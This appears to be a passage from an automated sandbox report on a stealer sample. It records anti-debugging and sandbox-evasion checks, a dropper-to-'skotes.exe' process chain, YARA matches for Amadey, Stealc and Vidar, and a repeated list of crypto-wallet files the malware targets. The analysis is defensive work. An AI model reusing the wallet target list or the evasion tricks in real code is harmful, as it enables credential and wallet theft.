Source: file.exe, 00000000.00000002.2703901013.00000000009EB000.00000040.00000001.01000000.00000003.sdmp, DocumentsBAEHIEBGHD.exe, 0000001D.00000002.2781087984.0000000000F8C000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001E.00000002.2804010804.0000000000EFC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000022.00000002.3416584255.0000000000EFC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsBAEHIEBGHD.exe

Code function: 29_2_04D90E1F Start: 04D90E3F End: 04D90E2E

29_2_04D90E1F

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsBAEHIEBGHD.exe

Code function: 29_2_04D90D8F rdtsc

29_2_04D90D8F

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D3652B mov eax, dword ptr fs:[00000030h]		34_2_00D3652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D3A302 mov eax, dword ptr fs:[00000030h]		34_2_00D3A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEHIEBGHD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAEHIEBGHD.exe "C:\Users\user\DocumentsBAEHIEBGHD.exe"
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2703901013.00000000009EB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98B341 cpuid

0_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 29.2.DocumentsBAEHIEBGHD.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000003.3273549857.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2802336835.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3416042291.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2780696137.0000000000D91000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2691553972.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2760707523.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2702853473.0000000000621000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2190819447.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 